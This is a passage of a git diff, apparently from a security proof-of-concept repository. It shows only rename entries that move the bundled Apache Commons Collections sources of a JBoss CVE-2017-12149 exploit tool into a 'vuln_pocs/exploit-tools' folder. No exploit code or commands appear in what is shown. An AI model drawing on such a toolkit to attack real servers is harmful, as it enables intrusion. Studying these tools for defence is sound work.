vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/buffer/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/AbstractSerializableCollectionDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/CompositeCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/CompositeCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/CompositeCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/CompositeCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/PredicatedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/PredicatedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/PredicatedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/PredicatedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/SynchronizedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/SynchronizedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/SynchronizedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/SynchronizedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TransformedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TransformedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TransformedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TransformedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TypedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TypedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TypedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/TypedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableBoundedCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableCollection.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableCollection.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableCollection.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/UnmodifiableCollection.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/collection/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/BooleanComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/BooleanComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/BooleanComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/BooleanComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparableComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparableComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparableComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparableComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparatorChain.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparatorChain.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparatorChain.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ComparatorChain.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/FixedOrderComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/FixedOrderComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/FixedOrderComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/FixedOrderComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/NullComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/NullComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/NullComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/NullComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ReverseComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ReverseComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ReverseComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/ReverseComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/TransformingComparator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/TransformingComparator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/TransformingComparator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/TransformingComparator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/comparators/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AllPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AllPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AllPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AllPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AndPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AndPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AndPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AndPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AnyPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AnyPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AnyPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/AnyPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ChainedTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/CloneTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/CloneTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/CloneTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/CloneTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ClosureTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ClosureTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ClosureTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ClosureTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantFactory.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantFactory.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantFactory.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantFactory.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ConstantTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/EqualPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/EqualPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/EqualPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/EqualPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionFactory.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionFactory.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionFactory.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionFactory.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ExceptionTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FactoryTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FactoryTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FactoryTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FactoryTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FalsePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FalsePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FalsePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FalsePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ForClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ForClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ForClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/ForClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FunctorUtils.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FunctorUtils.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FunctorUtils.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/FunctorUtils.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IdentityPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IdentityPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IdentityPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IdentityPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IfClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IfClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IfClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/IfClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstanceofPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstanceofPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstanceofPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstanceofPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateFactory.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateFactory.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateFactory.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateFactory.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InstantiateTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InvokerTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InvokerTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InvokerTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/InvokerTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/MapTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/MapTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/MapTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/MapTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NOPTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NonePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NonePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NonePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NonePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotNullPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotNullPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotNullPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotNullPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NotPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsExceptionPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsFalsePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsTruePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsTruePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsTruePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullIsTruePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/NullPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OnePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OnePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OnePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OnePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OrPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OrPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OrPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/OrPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PredicateTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PrototypeFactory.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PrototypeFactory.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PrototypeFactory.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/PrototypeFactory.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/StringValueTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/StringValueTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/StringValueTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/StringValueTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchTransformer.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchTransformer.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchTransformer.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/SwitchTransformer.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformedPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformedPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformedPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformedPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerPredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerPredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerPredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TransformerPredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TruePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TruePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TruePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/TruePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/UniquePredicate.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/UniquePredicate.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/UniquePredicate.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/UniquePredicate.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/WhileClosure.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/WhileClosure.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/WhileClosure.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/WhileClosure.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/package.html b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/package.html similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/package.html rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/functors/package.html diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractEmptyIterator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractIteratorDecorator.java diff --git a/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java b/vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java similarity index 100% rename from jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java rename to vuln_pocs/exploit-tools/jboss_CVE-2017-12149/src/org/apache/commons/collections/iterators/AbstractListIteratorDecorator.java diff --git 